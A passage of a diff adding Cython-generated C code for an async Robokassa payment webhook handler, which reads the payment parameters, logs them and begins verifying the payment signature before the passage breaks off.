__Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_9robokassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_13robokassa_pay_8robokassa_webhook, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\260 webhook-\321\203\320\262\320\265\320\264\320\276\320\274\320\273\320\265\320\275\320\270\320\271 \320\276\321\202 Robokassa \321\201 \321\203\321\207\320\265\321\202\320\276\320\274 shp_id."); +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_9robokassa_webhook = {"robokassa_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_9robokassa_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_13robokassa_pay_8robokassa_webhook}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_9robokassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("robokassa_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 161, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "robokassa_webhook") < 0)) __PYX_ERR(0, 161, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("robokassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 161, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_8robokassa_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_8robokassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("robokassa_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 161, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_10generator2, __pyx_codeobj__20, (PyObject *) __pyx_cur_scope, __pyx_n_s_robokassa_webhook, __pyx_n_s_robokassa_webhook, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + Py_ssize_t __pyx_t_9; + Py_UCS4 __pyx_t_10; + int __pyx_t_11; + int __pyx_t_12; + int __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + char const *__pyx_t_19; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + PyObject *__pyx_t_26 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("robokassa_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L10_resume_from_await; + case 2: goto __pyx_L16_resume_from_await; + case 3: goto __pyx_L17_resume_from_await; + case 4: goto __pyx_L18_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 161, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":163 + * async def robokassa_webhook(request): + * """ webhook- Robokassa shp_id.""" + * try: # <<<<<<<<<<<<<< + * params = await request.post() + * + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":164 + * """ webhook- Robokassa shp_id.""" + * try: + * params = await request.post() # <<<<<<<<<<<<<< + * + * logger.info(f"Received webhook params: {params}") + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_post); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 164, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 164, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L10_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 164, __pyx_L4_error) + __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); + } else { + __pyx_t_4 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 164, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_params = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":166 + * params = await request.post() + * + * logger.info(f"Received webhook params: {params}") # <<<<<<<<<<<<<< + * + * amount = params.get("OutSum") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_params, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_8 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Received_webhook_params, __pyx_t_5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":168 + * logger.info(f"Received webhook params: {params}") + * + * amount = params.get("OutSum") # <<<<<<<<<<<<<< + * inv_id = params.get("InvId") + * shp_id = params.get("shp_id") + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 168, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_OutSum}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 168, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":169 + * + * amount = params.get("OutSum") + * inv_id = params.get("InvId") # <<<<<<<<<<<<<< + * shp_id = params.get("shp_id") + * signature_value = params.get("SignatureValue") + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 169, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_InvId}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 169, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_inv_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":170 + * amount = params.get("OutSum") + * inv_id = params.get("InvId") + * shp_id = params.get("shp_id") # <<<<<<<<<<<<<< + * signature_value = params.get("SignatureValue") + * + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 170, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_shp_id}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_shp_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":171 + * inv_id = params.get("InvId") + * shp_id = params.get("shp_id") + * signature_value = params.get("SignatureValue") # <<<<<<<<<<<<<< + * + * logger.info( + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 171, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_SignatureValue}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 171, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_signature_value = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":173 + * signature_value = params.get("SignatureValue") + * + * logger.info( # <<<<<<<<<<<<<< + * f"OutSum: {amount}, InvId: {inv_id}, shp_id: {shp_id}, SignatureValue: {signature_value}" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 173, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_info); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 173, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":174 + * + * logger.info( + * f"OutSum: {amount}, InvId: {inv_id}, shp_id: {shp_id}, SignatureValue: {signature_value}" # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_6 = PyTuple_New(8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_OutSum_2); + __pyx_t_9 += 8; + __Pyx_GIVEREF(__pyx_kp_u_OutSum_2); + PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u_OutSum_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_InvId_2); + __pyx_t_9 += 9; + __Pyx_GIVEREF(__pyx_kp_u_InvId_2); + PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u_InvId_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 3, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_shp_id_2); + __pyx_t_9 += 10; + __Pyx_GIVEREF(__pyx_kp_u_shp_id_2); + PyTuple_SET_ITEM(__pyx_t_6, 4, __pyx_kp_u_shp_id_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_shp_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 5, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_SignatureValue_2); + __pyx_t_9 += 18; + __Pyx_GIVEREF(__pyx_kp_u_SignatureValue_2); + PyTuple_SET_ITEM(__pyx_t_6, 6, __pyx_kp_u_SignatureValue_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_signature_value, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 7, __pyx_t_5); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_6, 8, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_5}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 173, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":177 + * ) + * + * if not check_payment_signature(params): # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_check_payment_signature); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 177, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_params}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) 